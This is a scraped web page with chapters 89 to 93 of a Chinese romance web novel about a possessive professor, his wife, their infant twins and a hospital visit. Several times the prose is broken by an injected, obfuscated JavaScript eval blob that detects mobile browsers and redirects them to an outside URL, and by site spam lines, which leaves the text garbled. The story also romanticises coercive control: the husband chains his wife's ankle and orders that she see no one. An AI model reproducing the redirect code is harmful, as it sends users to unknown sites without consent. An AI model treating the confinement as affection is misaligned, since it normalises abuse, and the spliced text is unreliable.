顾煜又低头亲了她一下，这次没那么重，只是贴在她脸边，呼吸有点热。 “你是我的，一辈子都是我的。” 他说得很轻，也很笃定。 言昭心里一跳。 她还伸手推了推顾煜：“好了好了，我饿了。” 顾煜这才抱着她往餐桌走。 手没松。 像抱着什么宝贝。 楼下三个阿姨，是实打实见识过顾煜对太太有多上心的。 来之前就被专门叮嘱过—— 太太的事放第一位，顾教授的脾气不用管，只要太太高兴就行。 当时她们还以为是夸张。 结果来了之后才知道，一点都不夸张。 一个在外面说话都没人敢打断的男人，在家里完全是另一个样子。 太太皱一下眉，他都能紧张半天。 第89章 吃孩子的醋 现在三个阿姨早就习惯两人那些亲密举动了。 刚才楼上动静不小，她们也听见了点笑声，但谁都没上去催，只是在楼下把菜热好，安安静静等着。 等到楼梯口有脚步声，她们抬头一看—— 顾教授横抱着太太下来了。 太太脸还有点红，手搭在他肩上，小声说着什么。 顾煜神色柔和得不像话。 三个阿姨瞬间移开视线。 谁都没多看一眼。 也当没看到。 毕竟这画面她们已经见怪不怪了。 顾煜把人抱到餐椅上，自己才坐下，还顺手给她夹了块排骨，语气自然得很：“小心烫。” 那模样，哪里像外面那个冷脸顾工。 完全是个标准老婆奴。 顾煜吃完饭，把人抱回房间。 言昭本来还想刷会儿题，结果被他按回床上，“睡一会儿。” 她嘴上嘟囔两句，没一会儿还是靠在他怀里睡着了。 顾煜躺在旁边，手一直搭在她腰上，直到她呼吸平稳，他才闭眼眯了半个小时。 等言昭睡醒，他已经起身换好衣服。 她迷迷糊糊问他去哪儿，他低头在她额头亲了一下：“去单位一趟，我很快回来。” 语气温柔得不行。 下楼后，他的神色立刻淡了下来。 “王阿姨。”他开口。 王阿姨赶紧走过来。 “昭昭有点上火，再给她炖雪梨。还有从今晚开始，给她泡一杯热牛奶，不要放蜂蜜。” 王阿姨点头：“好。” 另外两个阿姨抱着孩子站在旁边。 两个小家伙还咿咿呀呀地朝他伸手。 顾煜只是淡淡看了一眼。 目光停了半秒。 然后收回。 他像是想到了什么，又补了一句：“还有——” 三个阿姨同时抬头。 “不要让昭昭见到任何人。” 语气平静，听起来是没有商量的余地。 三个阿姨连忙点头。 言昭是被光晃醒的。 她眯着眼翻了个身，觉得今天的房间格外亮，明明太阳都快落下去了。 言昭低头一看，脚踝上那条熟悉的链子，又回来了。 她叹了口气。 果然。 顾煜根本不会答应不锁她这件事。 她慢吞吞坐起来，走到窗边。 原本窗外 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 有两棵树枝叶茂密平时遮了不少光可现在却一览无余。 光线直接照进来刺得人眼睛都有点睁不开。 她愣了一下。 树呢？ 她凑近窗边往下看 “王阿姨——”言昭喊了一声。 王阿姨抬头。 “这里的树呢？” 王阿姨笑着解释：“太太单位说树招虫子所以都给砍了。” 言昭“哦”了一声。 听起来好像挺合理。 可她还是盯着那块空出来的位置看了几秒。 原本枝叶遮着视线现在窗外一片开阔。 连围墙那边都能看得更清楚。 她慢慢退回房间。 心里有点怪怪的。 树招虫子？ 以前怎么没听说过。 只不过现在没有树谢临就不可能来到自己房间。 …… 谢家。 那几位领导动作极快当天就找上了谢首长。 话说得很克制但意思一点都没藏着—— 你儿子惦记上顾煜的媳妇了。 谢首长当场脸色铁青。 这已经不是小打小闹。 公然去人家家里上门纠缠这种事要是换成普通人都难看更别说对象是顾煜。 他太清楚顾煜的身份。 更清楚那个人对自己爱人有多在意。 当年那十个月的事他也听说过。 他没想到—— 自己儿子竟然敢干出这种蠢事。 客厅里气压低得吓人。 谢母坐在一旁眼睛通红声音发抖：“可是你也看到了自从遇到那个女人他就没再发病你看这几天他多正常。” “医生都说他情绪稳定了他是真的喜欢她。” 谢首长猛地拍了一下桌子。 “人家有男人！” 声音压着怒气。 “那是别人老婆！” 谢母哭得更厉害：“可我们儿子这么多年好不容易有点转机你现在要把他送走？” 谢首长闭了闭眼。 “对送去参军让他离开这里。” 谢母立刻摇头几乎崩溃：“不行他那身体撑不住他会死的！” 客厅安静了一瞬。 谢首长额头青筋都鼓起来了。 “那就看病！” 你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338058|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身边有不少朋友还没看到本章呢，快去给他们剧透吧 “继续治疗！” “别总惦记人家媳妇！” 他声音低下去，带着压不住的怒。 “你是想救儿子，还是想害他？” 空气僵住。 谢母哭声渐渐小了下来。 谢临站在门口，把父母的话一字不落地听完。 他走进去的时候，脸上甚至带着点淡淡的笑。 “我去看病。” 谢母一愣：“真的？” “嗯。”他点头，“你们安排吧。” 态度配合得不像话。 谢首长盯着他看了几秒，总觉得哪里不对。 …… 三天过去。 言昭的初中课本已经学得差不多了。 这个进度放在别人身上算夸张，放在她身上却只算快的。 她脑子本来就不慢，加上最近专心，效率高得连顾煜都意外。 他每天检查她做的题，语气认真得像在带重点科研项目。 “这题思路对了。” “公式没错。” “昭昭，你很聪明。” 夸得毫不吝啬。 言昭一开始还理直气壮，后来被他夸多了，耳朵都红起来，“你别老夸我，我会骄傲的。” 顾煜看着她，眼底带笑：“骄傲给我看。” 言昭被他说得脸热。 她也慢慢找回了读书的感觉，那种题目做对的成就感，脑子转得顺的兴奋感，让她整个人都亮起来。 因为她表现好，顾煜难得松口，带她出去吃好吃的，看电影。 他抱着她进影院，像以前一样牵着手。 可言昭坐下后，电影放到一半，还是忍不住小声问：“孩子睡了吗？奶粉喝了吗？” 顾煜脸上的笑淡了半秒。 “喝了。” 言昭又问：“会不会找我？” 顾煜：“……” 他侧头看她。 她的心思明显已经分了一半出去。 明明以前，她整个人都黏在他身上。 现在多了两个小东西。 那两个小东西还是他的。 可他就是不爽。 很不爽。 晚上回到家，言昭第一时间去看孩子。 抱一个，亲一个。 笑得比看电影时还开心。 顾煜站在门口，看着那画面。 沉默。 第90章 顾煜的阴湿一面 他知道自己这想法有点幼稚。 可他控制不住。 昭昭的注意力，分走了。 他早就该在她来京市的时候去结扎。 这样她的世界里，就只有他。 没有别人。 哪怕是他们的孩子。 顾煜低头看着自己的手，指尖慢慢收紧。 心里那点阴暗的念头一闪而过。 下一秒，他又恢复平静。 走过去，从背后抱住她。 语气温和：“别抱太久，你手会酸。 言昭没察觉顾煜情绪的细微变化。 她只是觉得，他最近晚上黏她更紧。 以前是抱着睡，现在是整个人贴上来，手臂绕着她的腰，腿也压过来，连她翻个身都要被拉回去。 “你别勒这么紧。她嘟囔。 顾煜嗯了一声，但还是没松多少。 …… 日子就这么慢慢过着，在言昭以为会这样幸福的过下去的时候。 哪知道孩子突然发烧起来。 起初只是有点蔫，后来体温一量，三十八度多。 言昭的脸色一下就变了。 她抱着孩子，声音都发颤：“怎么会发烧？昨天不是还好好的。 两个阿姨连忙安慰：“太太，小孩子生病很正常，换季容易感冒。 可言昭根本听不进去。 她眼眶红得很快，抱着孩子不肯撒手，连呼吸都乱了。 “要不要去医院？会不会烧坏脑子？ 这也是言昭以前想到乡下有个孩子就是这么烧，然后送到卫生所，脑子直接就给烧坏了。 她越想越是心慌。 顾煜站在一旁，看着她整个人围着孩子转。 那种着急，是他没见过的。 她为他哭过。 可现在这种紧张，是完全不一样的。 他走过去，接过体温计，又确认了一次数据。 “还在可控范围，我联系医生。 电话打出去，安排得很快。 可言昭还是不放心。 “我今晚想守着她。 顾煜看着她：“我陪你。 “不用，你明天还要上班。 她抱着孩子，坐在床边，小心地给他擦额头。 顾煜沉默了两秒。 没有再说话。 只是坐在她身后。 看着她。 医生来得极快，几乎是一路直 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 奔上楼。 这两个小娃娃现在确实算重点关注对象。 一方面是担心会不会遗传到顾煜当年的那个病相关资料早就备案在案定期体检、专项监测一样不落。 另一方面—— 这可是顾煜的孩子。 那个脑子被当成国家战略资源的人 照顾不好谁都担不起责任。 医生进门时态度非常谨慎。 “顾教授。” 顾煜点头让开位置。 言昭抱着孩子不肯松手声音都有些发哑：“医生我女儿发烧会不会有事？” 医生检查得很细听心率、看喉咙、量体温每一步都做得仔细。确认完情况后他才开口：“暂时是普通感染问题不大。” 言昭还是不放心手指无意识地收紧了一点：“会不会烧坏脑子？小孩子能承受得住吗？” 医生神色认真语气也放缓了些：“不会的。小孩子上热快但散热也快。现在体温已经在往下走不会有影响。” 言昭这才慢慢松了口气。 她低头看着怀里的女儿。平时小家伙总是咿咿呀呀手脚乱挥精力旺得不行现在却安静地贴在她怀里小脸红红的睫毛湿漉漉地垂着看起来软弱又可怜。 那一瞬间她心都揪了一下。 整整一夜言昭的注意力几乎没离开过孩子。 顾煜自然是陪在旁边。 只不过他伸手碰她她都只是敷衍地嗯一声。 那种被忽略的感觉一点点压进他心里。 他知道不该跟孩子较劲。 可他控制不住那种失落。 过了好一会。 言昭缓过来之后才注意到顾煜一直站在旁边。 他从头到尾都没走。 她心里一软又有点自责。 “你去休息吧。”她低声说“明天还要上班。” 顾煜摇头很干脆：“不困。” 言昭看他一眼哪会不知道他是什么性子。 今晚不睡明天肯定也不会休息。 旁边两个阿姨对视一眼也劝道：“太太现在小姐体温已经下来了我们跟医生会守着的。” “有什么情况我们第一时间叫您。” “您和顾教授还是去休息吧。” 言昭咬了咬唇。 舍不得。 可她再看看顾煜。 他坐在那儿 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 眼睛一刻都没离开过她。 不是看孩子。 是看她。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338059|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >言昭知道如果自己不走，他今晚一定陪着熬。 她心里知道医生和阿姨都在，情况已经稳定，可那股担心还是压不下去。 可想到顾煜说过的话，未来要过一辈子的人是他。 “有事马上叫我。” “好。” 她这才拉了拉顾煜的袖子。 “走吧。” 顾煜没动两秒，最后还是跟着她出了房间。 门关上的那一刻，他才开口：“昭昭，你太紧张了。” 语气很低。 言昭抬头看他：“那是我们的女儿。” 顾煜盯着她看了几秒。 最后他点头：“我知道。” 他伸手把她抱进怀里。 …… 言昭洗了个热水澡。 王阿姨早就把水温调好，毛巾、睡衣都备在一旁，生怕她着凉。 她出来时头发的发梢还湿着，脸因为热气微微泛红，人看起来软软的。 顾煜看了她一眼，伸手替她把发尾拢到一边，语气平静：“我给你擦干。” 言昭任由他照顾自己。 等到顾煜给她弄完，他这才走进浴室。 水还在浴缸里冒着热气。 他站在那儿，盯着水面看了很久。 脑子里却不是刚才的温馨画面。 是言昭抱着孩子时那种慌乱。 是她几乎要哭出来的样子。 还有—— 那种完全顾不上他的紧张。 他喉结动了一下。 忽然弯腰，直接把热水放掉。 水声哗啦往下冲。 很快，浴缸空了。 他重新往里面装满冷水。 冰凉的水流迅速填满。 他没有试温。 脱了衣服，直接坐进去。 水没过肩膀的一瞬间，他整个人绷紧了一下。 冷意从皮肤直往骨头里钻。 可他没动。 只是闭上眼。 让那股刺骨的冷，把胸口那点压不下去的情绪一点点压回去。 他不允许自己失控。 也不允许自己变成那种会跟孩子较劲的人。 冷水淹着，他的呼吸慢慢平稳下来。 几分钟后，他才起身。 擦干，换衣服。 再走出浴室时，神色已经恢复如常。 言昭正坐在床上吹头发，看到他出来，随口问：“水热吗？” 顾煜看着她。 “刚好。” 语气稳得听不出半点异常。 第91章 顾煜也生病了 言昭躺在床上，却怎么都睡不着。 脑子里全是孩子刚才发烧的样子。 她翻了个身。 又翻了一下。 再翻一下。 翻到第三次的时候，她忽然觉得有点不对劲。 太轻松了。 平时她只要一动，顾煜的手就会跟着收紧，人也会贴上来，像是怕她跑了一样。 可今晚—— 什么都没有。 言昭连忙转过身。 顾煜竟然规规矩矩平躺着。 他双手放在身侧，眼睛闭着，一动不动。 整个人安静得不像他。 言昭眨了眨眼，这也太安分了。 她盯着他看了一会儿，心里忽然有点心虚。 不会是因为她刚才太在意孩子了吧？ 自己几乎没怎么看他一眼，全程都在盯着女儿。 想到这里，言昭忍不住轻轻叹了口气。 一个做爹的，总跟亲生孩子生气，吃醋。 这要是说出去，估计都没人信。 言昭想到这里，只能往他那边挪了一点。 顾煜还是没动。 言昭更确定了。 这人肯定在生闷气。 她伸出手，轻轻戳了戳他的手臂。 “顾煜。” 没反应。 她又戳了一下。 “老公，你睡着了吗？” 还是没动。 言昭撇了撇嘴，干脆整个人凑过去，钻进他怀里。 顾煜的身体明显僵了一下。 下一秒。 那只原本放在身侧的手，还是慢慢抬起来。 抱住了她。 言昭嘴角忍不住弯了一下。 果然。 根本没睡。 只不过在言昭靠进他怀里的时候，忽然愣了一下。 顾煜身上有点凉。 不像平时那样热乎乎的。 她皱了皱眉，下意识把手往他衣服里摸了一下，想看看是不是没盖好被子。 下一秒。 顾煜猛地倒吸了一口气。 那声音在安静的房间里格外明显。 言昭一下子就僵住了。 她太熟悉这个呼吸声了。 每次她手乱摸，他都是这个反应。 言昭赶紧把手收回来，脸也有点热。 “我……我只是看你身上怎么这么凉。” 这一次顾煜没抓她的手， 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 只是伸手轻轻拍了拍她的后背。 “昭昭，早点休息吧。 声音低低的，还是很温柔。 言昭“哦了一声。 她趴在他怀里，安静了几秒。 嘴唇动了动。 这家伙肯定是生气了。 其实她很想说一句—— 那是你的亲生女儿，你不应该跟她生气。 可话到嘴边，她又忍住了。 她怕说出来，反而让他更不高兴。 于是她什么也没说。 只是往他怀里又靠近了一点。 顾煜的手还在她背上，一下一下轻轻拍着。 像在哄她睡觉。 房间重新安静下来。 …… 女儿恢复得很快。 昨天还烧到三十八度，整个人蔫蔫的。 今天一醒过来，又活蹦乱跳。 肉糜粥一碗接一碗，小嘴张得大大的，吃得特别香。 吃完还不老实，小手力气大得很，一抓就抓到旁边的哥哥脸上。 哥哥本来安安静静躺着，被她一抓，立刻哇地哭起来。 言昭哭笑不得。 “你怎么这么凶。 她把女儿的小手掰开，又去哄儿子。 可小丫头一点不觉得自己做错了，咯咯笑着继续乱动。 反正孩子好了，她就放心了。 整个上午她都在家陪孩子。 另一边。 顾煜只睡了两个小时。 早上到单位后，他几乎没停过。 桌子上堆满资料，纸张一页页写满公式。 他低头推算，笔几乎没停。 时间一点点过去。 忽然—— 砰的一声。 他整个人往前一栽，直接趴在了桌子上。 笔从手里滚了出去。 房间重新安静下来。 门外的人不知道发生了什么。 他们只知道，顾煜最近工作量有点大。 加上顾煜不喜欢有人在旁边，所以大家都习惯把资料送进去，然后等他出来。 在每天十一点整，顾煜都会准时出来。 一秒都不耽误。 可今天—— 十一点过十分。 门还是关着。 有人皱了皱眉：“顾教授今天怎么还没出来？ 另一个人也觉得不对。 “去敲一下门。 那人走过 听说和异性朋友讨论本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338060|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书情节的，很容易发展成恋人哦 去，轻轻敲了敲。 “顾教授？” 没人回应。 他以为顾煜在算题，又敲了一次。 “顾教授？” 还是没有声音。 他心里忽然有点不安。 推开门。 下一秒。 整个人脸色瞬间变了。 屋子里。 顾煜趴在桌子上，一动不动。 笔滚在地上。 纸张散了一桌。 那人愣了一秒。 然后声音直接变了调—— “快来人！！” “顾教授出事了！！” 外面瞬间乱成一团。 …… 医院的病房里很安静，窗帘半拉着，外面的光线被挡了一半，房间里显得有些昏沉。 言昭坐在床边，看着躺在床上的顾煜，整个人还有些没缓过来。 她是真的没想到，顾煜也会生病，而且一烧就烧到接近四十度。 刚刚医生说得很清楚，他早上什么东西都没吃，一到单位就开始工作。 一直忙到中午，人直接晕在桌子上，被人发现的时候已经烧得迷迷糊糊。 言昭听到这些的时候，心都揪了一下。 她昨天晚上还在为女儿发烧紧张得睡不着。 今天一转头，又变成顾煜躺在病床上。 现在床上的顾煜闭着眼，呼吸有些重，脸色比平时白了很多。 那种白不是平常的冷白，而是生病后的那种透着虚弱的白，唇色也淡了些。 顾煜本来就长得好看，五官很干净。 现在因为高烧整个人显得有点病弱，那种白反而衬得他更好看了一点。 言昭当然没心思在意他有多好看。 她现在只觉得平时这个人站在那里总是又高又稳，说话做事都很强势，好像什么事情都压不倒他。 现在却安静地躺在病床上，脸色发白，看起来还有一股脆弱感。 那个感觉什么都能解决的人，现在这么老实地躺着，看得她心里难受。 言昭伸手去摸了摸他的额头，指尖刚碰到，就被那股热度烫得缩了一下。 她眼眶跟着红了。 旁边的医生解释道：“顾教授已经在降温了，高烧刚压下来一点，现在是退烧阶段。” 言昭点点头，可心里还是不太踏实。 医生又补了一句：“主要是过度疲劳，加上休息不足，再加上没吃东西，身体一下子撑不住。” 第92章 言昭知道了顾煜的病 听到这里，言昭忽然想到昨天晚上。 顾煜几乎没睡。 她那时候只顾着担心孩子，还以为他只是有点小情绪。 想到这里，她心里越发愧疚。 其实顾煜早就醒了。 他被送到医院没多久，人就清醒过来了。 高烧还在，脑袋一阵一阵发胀，太阳穴像被什么东西顶着，疼得厉害。 他刚睁开眼的时候，就看见言昭坐在床边。 她整个人凑得很近，一直在看他，眉头皱着，眼睛都有点红，明显是着急坏了。 顾煜原本还刺痛的脑袋，忽然就没那么难受了。 他安静地躺着，没有出声。 听着她一遍遍问医生情况，又摸他的额头，又握他的手。 那种被人紧张的感觉，让他心里慢慢松下来。 更让他高兴的是—— 昭昭没把孩子带过来。 她就坐在这里，一直守着他。 顾煜心里忽然很安稳。 他干脆继续装睡。 就这样躺着，任由她握着手。 她有时候会小声嘀咕一句，有时候又叹气。 声音很轻。 顾煜听得很清楚。 过了很久。 言昭大概是真的累了。 她握着他的手，慢慢趴在床边，脑袋枕在手臂上，呼吸一点点变得均匀。 睡着了。 顾煜这才慢慢睁开眼。 他侧头看着她。 另一边，医院办公室里。 几个医生围在一起，小声讨论着。 “顾教授那个头痛，拖得太久了。” “以前检查也做过不少，就是没查出太明确的问题。” 其中一个医生把一份资料推到桌子中间：“最近不是刚引进了一台新的核磁设备吗？我觉得可以让顾教授试试。” 另一个点头：“对，他那个情况，说不定能查出点东西。” 几个人商量了一会儿，最后把顾煜的病例整理出来，一起拿去给院长。 院长坐在办公桌后面，把资料翻了一遍。 顾煜的病例其实医院不少人都看过。 院长看完之后沉默了一会儿，最后点了点头。 “可以，设备既然引进了，就该用在关键的人身上。” 几个人这才松了口气。 “那我们现在去跟顾教授说一下。” 几个人一起往病房走。 到了 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 门口，他们轻轻敲了敲门，然后推门进去。 门刚打开。 几个人脚步顿了一下。 病房里气氛有点不对。 顾煜已经醒了。 他靠坐在床上，脸色还是有点白，高烧刚退，人看起来还有点病弱，可那双眼睛却冷得很，正沉沉地看着门口。 神情明显不太高兴。 医生们心里咯噔了一下。 他们顺着视线看过去。 旁边站着一个人。 言昭。 她明显刚睡醒，头发有点乱，眼睛还带着点刚醒的湿意。 可当她看到顾煜睁开眼的时候，整个人瞬间清醒了。 “你醒了！” 她声音一下子亮了起来，脸上的惊喜一点都藏不住。 她连忙走过去，靠近床边。 “你感觉怎么样？头还疼吗？好难受吗？” 顾煜摇头说没事。 很快护士就过来了，把床推出来，去了检查室。 顾煜被推走的时候，言昭跟在旁边，一路走到检查区外面才停下来。 她站在门口，看着人被推进去，心里还是有点疑惑。 刚刚医生把情况简单地跟她说了一下，说是医院最近引进了一台新的设备，是一台精度很高的核磁仪器，他们想让顾煜试一试，看能不能查出点什么问题。 顾煜本来就需要做进一步检查，现在正好有机会。 她忍不住问旁边的医生：“我男人不是发烧吗？现在不是在退烧吗？为什么还要做这种检查？” 医生听见这句话明显愣了一下，几个人互相看了一眼，神情都有点惊讶。 顾煜有精神疾病这件事家属竟然不知道？ 其中一个医生下意识问了一句：“家属不知道吗？” 言昭皱了皱眉，更不明白了：“知道什么？” 这时候有个年轻医生嘴快，没忍住，直接把情况说了出来。 说顾教授一直有头痛的病，已经很多年了。 发作的时候会很疼，有时候疼得厉害，连站都站不稳，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338061|199258||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能自己扛过去。 医院以前也给他做过很多检查，一直没查出具体原因，所以现在有更好的机器就想再给顾教授看看。 言昭：“？？？” 她站在那里，一时间没说话。 那些医生说的很多词她其实听得不是很明白，什么检查、什么原因，她脑子有点乱。 可有一点她听懂了。 顾煜的脑子 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 有病。 而且还经常疼，疼起来很厉害。 还治不好。 只能靠自己硬扛。 言昭听完之后，整个人像是被什么东西砸了一下，身形晃了一下，差点没站稳。 她扶了一下旁边的墙，脸色都有点发白。 那些医生刚开始还没反应过来，可那位年轻医生话一说完，就察觉到气氛不对。 他抬头一看，旁边几个老师和师兄的脸色都不太好。 那种表情不是简单的惊讶，而是明显的难看。 年轻医生心里“咯噔”一下。 他这才意识到自己可能说错话了。 这几个人心里已经发紧。 顾煜是什么身份的人，他们心里都很清楚。 医院里不少人都知道，每次顾煜一生病，医院这边就会紧张得不行，上上下下都要盯着。 他们平时跟着参与过几次检查，所以多多少少也听到过一些小道消息。 顾煜脑子有问题这件事，其实一直都很敏感。 很多时候，医院这边也不会随便往外说。 现在家属不知道，那代表顾教授是一直没跟家属说过。 可最小的这位嘴太快，直接就全说出来了。 现在再看言昭站在那里，脸色都变了，整个人明显被吓到了。 那几个医生的脸色也跟着更难看了。 一时间几个人站在原地，都有点心惊胆战，在想会不会出事啊？ 言昭已经不是以前那个什么都不懂的小姑娘了，生过孩子之后，有些东西仿佛一下子变了。 以前她遇到事情只会慌，现在脑子里先想到的，是顾煜，是两个孩子，是这个家。 只不过言昭的眼泪还是掉了下来。 她抬手很快擦掉，深深呼出一口气，让自己慢慢冷静下来。 第93章 你勾引有妻子的男人 站在旁边的几个医生一直在观察她的反应，本来都已经准备好解释，甚至有点担心她会情绪失控。 可没想到她只是红了一下眼睛，很快就把情绪压住了。 几个人心里顿时松了一口气。 走廊重新安静下来。 言昭站在检查室外面，一动不动地等着。 时间一点一点过去。 差不多过了半个小时，那扇厚重的铁门终于缓缓打开。 里面的灯光透出来。 护士推着床慢慢出来。 顾煜躺在上面，人已经醒着了。 言昭立刻走过去。 她没有慌，也没有大声说话，脸上只是带着很明显的关切，低头看着他。 “没事吧？” 顾煜本来还在想着别的事情，一抬眼看到她，目光很快停在她脸上。 几乎是瞬间，他就发现了。 她的眼眶有点泛红。 顾煜的手抬起来，直接握住了她的手，握得很紧。 “昭昭，别担心。” 言昭看着他，轻轻点了点头。 回到病房之后，顾煜重新躺回床上，护士给他接上吊针。 高烧已经退下去不少，体温也降了下来，只是整个人还带着点虚弱的样子。 言昭一直在旁边忙。 一会儿去问护士体温，一会儿又去接热水，回来还要摸摸他的额头，再看一眼吊针是不是滴得太快。 她几乎没有坐下过。 顾煜靠在床上，看着她在病房里来回走。 他其实很享受这种感觉。 现在她整个人都围着他转，眼睛几乎一直落在他身上，好像只要一离开就会出什么事。 顾煜看了一会儿，唇角微微动了一下。 这种被她紧张着的感觉，让他心里有点愉快。 可慢慢的，他也察觉到不对劲。 这种紧张有点过头了。 根据顾煜对言昭的了解，他只是发烧而已，她最多会担心一下，守着他，绝不会一副他好像生了什么大病的样子。 她现在的反应，明显不对。 顾煜看着她的背影，眼神慢慢沉了下来。 除非……她知道了什么。 顾煜没有直接问，他只是靠在床上看着她。 这种被她全心全意放在心上的感觉，让他整个人都松了一点。 只不过他这样的状态也没有太久。 吊针慢慢滴着，药效上来之后，顾煜 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 的眼皮渐渐沉了下去，呼吸也变得均匀起来。 言昭坐在床边看了一会儿，确认他是真的睡着了，才慢慢站起身。 她还是放心不下。 刚才医生说的那些话，一直在她脑子里转。 她打算再去找医生问一问。 病房门轻轻被她带上。 走廊里很安静。 言昭往医生办公室那边走，刚转过一个拐角，就看见前面有个人推着轮椅。 她脚步微微顿了一下。 推轮椅的是一个妇人，那张脸她其实见过一次。 上次在言昭那个婚宴，顾煜后面跟自己提及过，说这个女人姓方，别人都喊方太太。 言昭根本不认识姓方的人。 可这女人给她的感觉是真的很奇怪，总有一种莫名的熟悉感。 这时候她也看到了轮椅上的人。 是一位老太太，头发花白，没看到容貌，只不过看起来应该是个和蔼的人。 方太太也看到了言昭，脚步停了一下，明显是认出了言昭。 方太太嘴唇动了动，好像准备说什么。 哪知道言昭已经转身跑了。 轮椅上的老人看着言昭突然跑开的背影，微微皱了皱眉。 “怎么了？ 方太太握着轮椅的手停了一下，张了张嘴，本来想说点什么，可话到了嘴边又咽了回去。 事情还没查清楚。 自己不敢说。 万一不是……那只会让老人家空欢喜一场。 方太太最后只是轻声说：“妈，没什么。 老人轻嗯了一下。 另一边。 言昭已经快步走到了医生办公室。 她敲门进去的时候，里面正坐着刚才那几位医生。 言昭一开口就是问顾煜的检查。 可几个人的态度明显谨慎了很多。 他们互相看了一眼，最后还是把一张报告递给她。 “检查结果出来了。 “报告显示，顾教授的大脑没有任何异常。 “结构、功能都很正常。 “很健康。 言昭低头看着那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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紧接着方晓反应过来，脸色立刻变得极其难看。 “你胡说什么！ 她声音一下子拔高，脸气得都红了。 言昭反而耸了耸肩，她特意压低了一点声音，像是在替对方遮掩。 “不好意思啊，这件事好像不能让人知道，对不起哈，下次我不说了。 言昭说完还很认真地补了一句。 “你快去做妇科检查吧，别耽误到孩子，别到时候那个男人更不要你了。 办公室里几个人听得一愣一愣的。 方晓整个人都炸了。 她脸一下子涨得通红，直接扑了过来，抬手就要打人。 言昭早有准备，往旁边一闪就躲开了。 她还往后退了两步，一脸无辜地看着方晓。 “你干嘛这么生气？我不说不就行了。 方晓气得声音都变尖了。 “你在胡说八道什么！我哪有男人！哪有孩子！ 言昭听完立刻点头，一副很好说话的样子。 “好好好，你没有。 她语气敷衍得很明显。 方晓反而更气了。 言昭看着眼前人面目狰狞的样子，她心里已经舒坦了。 这种造谣的话，那她也随便胡扯一个更离谱的就行。 方晓看着她这个样子，整个人更气炸了。 “啊——！ 她尖叫了一声，又扑上来，手直接朝言昭脸上抓过去，明显是想把她脸抓花。 言昭皱了皱眉，往旁边一闪就躲开了。 就在这时，走廊那头走过来一个男人。 “晓晓，你在干嘛呢？检查结果要出来了。 言昭听见这句话，没忍住“噗嗤笑了一声，然后弯着腰就跑了。 言昭回到病房的时候，脸上还带着一点没收住的笑。 她关上门，慢慢走回床边，看了一眼还在睡着的顾煜，心情都轻松了不少。 刚才那一通胡扯，算是把那股被人莫名其妙污蔑的火气发出来了。 她也懒得再去想方晓现在在外面怎么发疯。 另一边。 医生办公室外面已经乱成一团。 方晓气得脸都涨红了，她站在走廊里还在骂，越想越气，脑子里全是刚才言昭那副无辜又气人的样子。 她咬着牙，眼神越来越狠。 这种人，她一定要想办法报复回来。 就在她转身准备去找人查言昭的时候，走廊 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 另一头突然走过来两个人。 两个男人个子都很高身形结实看起来明显不是普通病人家属。 他们直接走到方晓面前挡住了她的路。 方晓下意识皱眉：“你们谁？” 其中一个男人低头看了她一眼语气很平。 “方小姐我们想请你过去聊聊。” …… 顾煜吊完针之后整个人还在沉沉睡觉。 言昭看了他一会儿心里才稍微放下。 可她忽然想起家里的孩子。 女儿才发过烧现在虽然好了她还是不太放心。 